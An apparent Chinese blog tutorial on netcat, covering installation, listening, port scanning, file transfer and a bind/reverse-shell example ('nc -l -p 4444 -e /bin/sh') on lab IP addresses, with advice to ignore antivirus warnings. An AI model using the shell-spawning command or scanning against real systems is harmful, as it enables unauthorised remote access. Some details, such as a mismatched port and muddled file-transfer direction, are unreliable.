前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >【常用安全工具】:netcat

【常用安全工具】:netcat

作者头像
IRTeam-工业安全
发布于 2024-07-16 10:27:05
发布于 2024-07-16 10:27:05
2810
举报

Asun安全学习【安全工具】

上一篇复现了CVE-2023-38831,在复现中途使用了netcat,那么今天就来写一下netcat这个工具。

在一座繁忙的都市中,有一名网络侦探,名叫李明。李明的日常工作是追踪网络犯罪,保护市民的网络信息安全。突然!一天深夜,他接到了一起重要的案件:一个名为“暗网市场”的非法交易网站被黑客攻击,导致大量敏感信息泄露。李明深知时间紧迫,必须尽快找到攻击者并修复漏洞。

李明首先启动了他的工具箱,其中就包括了著名的网络工具——netcat(nc)。这是一款强大的命令行工具,可以用于网络编程、数据传输、端口扫描等多种用途。在这样的紧急情况下,netcat的多功能性将发挥关键作用。

【工具名称】:netcat

【简介】:netcat是一款简单的Unix工具,使用UDPTCP协议,被称为网络工具中的"瑞士军刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。

【用途】:

(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

(2)端口的扫描,nc可以作为client发起TCP或UDP连接

(3)机器之间传输文件

(4)机器之间网络测速

【搭建方式】:

LINUX:

大多数Linux中都自带netcat(比如kali),如果没有,可以使用命令进行安装。

这里我以ubuntu为例(Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional):

首先登录ubuntu超级用户

输入命令:apt-get -y install netcat-traditional下载软件包

接着输入update-alternatives --config nc来切换原始nc:

输入2后摁回车键。

接下来输入nc命令,是否成功安装:

发现返回nc的帮助信息,表明nc安装成功。

Linux其他系统还可以通过:

yum install nc

或者是

sudo wget https://jaist.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

这两个命令下载。

下载完成后可以输入nc命令进行验证(nc -version 或者 nc -h等等)。

WINDOWS:

这里我以win10为例:

下载地址:https://eternallybored.org/misc/netcat/

点击netcat 1.12连接进行下载(会报毒,无视风险,继续安装就好啦(..>◡<..))

将下载好的压缩包放到一个文件夹里:

然后解压到当前文件夹中:

配置环境变量(在系统->关于->高级系统设置->高级->环境变量、也可以直接在下面搜索框中搜索环境变量):

将刚刚的解压的路径添加进去:

之后打开命令提示符进行测试:(nc -l -p 4444 -v)

打开一个新的命令提示符,输入nc localhost 4444:

会看到第一个命令提示符内已经出现监听连接。在第二个中随意输入(比如helloworld),在第一个中也会出现。

【使用手册】:

使用帮助命令:

常见用法:

(客户端win10IP地址为:172.22.72.143

服务端kaliIP地址为:172.22.72.177。)

1、nc -lvp 4444

监听端口,服务端将在本地的 4444 端口上监听传入的连接,并呈现在当前终端中:

2、nc 172.22.72.177 4444

尝试连接到 IP 地址为 172.22.72.177 的主机的 1234 端口

Win10机器中输入命令:nc 172.22.72.177 4444:

同时在kali中,监听的端口有回应:

3、nc -vz 172.22.72.143 1-100

端口扫描扫描win10主机172.22.72.143中1到100端口:

4、nc 172.22.72.177 4444 > file.txt

发送文件,向kali主机172.22.72.177中的4444端口发送文件file.txt:

nc -l -p 4444 < file.txt

接受文件。从主机4444端口接受file.txt文件。

5、反弹shell

nc -l -p 4444 -e /bin/sh

在服务端监听端口,等待连接,一旦连接建立,执行 shell。

nc -nv 172.22.72.177 4444

在客户端连接到服务端,获取 shell。

6、其他用法

语法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

参  数:

-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。

-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。

-l 使用监听模式,管控传入的资料。

-n 直接使用IP地址,而不通过域名服务器。

-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p<通信端口> 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-s<来源位址> 设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 详细输出--用两个-v可得到更详细的内容

-w<超时秒数> 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

以上就是netcat的基本用法,当然,它还可以做到更多更多。感谢大家观看,如果对大家帮助,麻烦大家点点赞!!!

同样,如果大家有更好的建议,欢迎大家进行评论指出和点评,我会尽力去修改和完善。

参考连接:

https://blog.csdn.net/zhangke1985/article/details/107258859

彻底弄懂netcat命令的使用_netcat命令详解-CSDN博客

windows环境安装nc(netcat)命令 - 竹堑 - 博客园 (cnblogs.com)

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 IRT工业安全红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
网络安全界的“瑞士军刀”--netcat
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
网络安全自修室
2023/02/26
8650
网络安全界的“瑞士军刀”--netcat
Linux学习_012_Centos 6.8 安装 Netcat
2、解压缩文件到指定目录(注意:要先创建 /opt/module/netcat/ 目录)
黑泽君
2019/05/10
2K0
【工具篇】NETCAT-网络中的瑞士军刀
NETCAT被人们称为网络工具中的瑞士军刀,体积小但功能强大。它能通过TCP和UDP在网络中读写数据,在两台电脑之间建立链接并返回两个数据流。
一名白帽的成长史
2019/10/22
1.4K0
NetCat 工具的常用使用技巧
netcat 黑客们的瑞士军刀,虽然小巧但是其功能一点也不弱,并且该工具天生免杀,值得你去尝试。
王瑞MVP
2022/12/28
5870
NetCat 工具的常用使用技巧
【linux命令讲解大全】134.网络工具中的多功能利器——netcat(nc)
补充说明: 这是Slackware发行版内附的程序,让用户切断PPP的网络连线。
全栈若城
2024/03/02
1560
揭秘最为知名的黑客工具之一:Netcat!适用于安全测试、渗透测试、黑客攻击!
在网络安全领域,黑客工具一直备受关注。它们既可以被用于攻击,也可以用于防御。本文将为大家揭秘一款知名的黑客工具: Netcat。
测试开发技术
2024/09/18
6180
揭秘最为知名的黑客工具之一:Netcat!适用于安全测试、渗透测试、黑客攻击!
每天学一个 Linux 命令(91):nc
nc 命令是一款功能强大的网络工具。它是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。
民工哥
2021/04/21
1.6K0
Linux Netcat 命令——网络工具中的瑞士军刀
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)]
sunsky
2020/08/20
2.7K0
Netcat - 你需要知道的一切
Netcat 是一种跨网络连接读写数据的工具,使用 TCP 或 UDP 协议。Netcat 被称为 TCP/IP/网络瑞士军刀。在本文中,将介绍netcat 的不同应用变种,以及它如何在渗透测试人员、安全专家、系统管理员等的日常活动中发挥作用……
mariolu
2021/07/29
5.3K0
网络工具中的瑞士军刀nc命令
nc [-hlnruz][-g < 网关…>][-G < 指向器数目 >][-i < 延迟秒数 >][-o < 输出文件 >][-p < 通信端口 >][-s < 来源位址 >][-v…][-w < 超时秒数 >][主机名称][通信端口…]
入门笔记
2022/06/02
5290
Netcat Command
Netcat能做到的事情太多了,但和tcpdump一个流派,参数多的令人发指,拣常用的几个命令记录一下 场景 Server A: 192.168.100.100 Server B: 192.168.100.101 端口扫描 1 nc -z -v -n 192.168.100.100 21-25 可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. z 参数告诉Netcat使用Zero IO,指的是一旦连接关闭,不进行数据交换 v 参数指使用冗余选项 n 参数告诉Netcat 不要使用DNS
happy123.me
2018/06/04
1.1K0
Linux--nc命令
我们常常会面临服务器和本地机器之间的文件传输,通常情况下,lszrz命令是可以完全应付的。但是当文件过大的时候,例如前段时间需要传输一个1.7G的堆dump文件到本地,就让我犯了难,sz命令直接卡死,根本下载不下来,这个时候nc就派上了用场。
早安嵩骏
2020/08/11
4.2K0
内网渗透基石篇-- 隐藏通信隧道技术(上)
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
顾翔
2021/05/17
2.5K0
内网渗透基石篇-- 隐藏通信隧道技术(上)
Linux之nc命令
原文链接:https://rumenz.com/rumenbiji/linux-nc.html
入门笔记
2021/08/24
1.7K0
Linux netcat对tcp/udp的连接和监听
netcat是一个用于TCP/UDP连接和监听的linux工具, 主要用于网络传输及调试领域。
用户5760343
2022/05/24
2.7K0
Windows下的TCP/UDP网络调试工具-NetAssist以及Linux下的nc网络调试工具
由于在Windows下经常使用NetAssist.exe这款网络调试工具进行TCP、UDP的服务端、客户端的监听,对于需要编写各种通信协议的TCP服务端、客户端以及UDP通信程序来说是很方便的。 NetAssist的下载地址为:NetAssist.exe 下载之后无需安装即可使用,是一款绿色软件,其软件界面如下图所示:
ccf19881030
2020/11/03
60.6K0
Windows下的TCP/UDP网络调试工具-NetAssist以及Linux下的nc网络调试工具
工具的使用 | Netcat瑞士军刀的简单使用
Netcat 常称为 nc,拥有“瑞士军刀”的美誉。nc 小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能,它基于socket协议工作。在渗透测试领域,我们通常利用它来反弹shell。
谢公子
2022/01/13
6630
工具的使用 | Netcat瑞士军刀的简单使用
Netcat基础
Netcat被成为TCP/IP中的瑞士军刀,几乎可以完成网络操作中的任何操作。Nmap团队开发了Ncat作为Netcat的升级版,因为Netcat的作者在96年发布稳定版以后就放弃维护了。
逍遥子大表哥
2021/12/17
5140
内网渗透之隐藏通信隧道技术
前段时间读了读徐哥的《内网安全攻防》,并复现了部分知识点,写篇文章记录下学习内容。
FB客服
2021/07/03
1.8K0
内网渗透之隐藏通信隧道技术
内网渗透-代理篇
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
Power7089
2021/05/27
5K0
推荐阅读
相关推荐
网络安全界的“瑞士军刀”--netcat
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文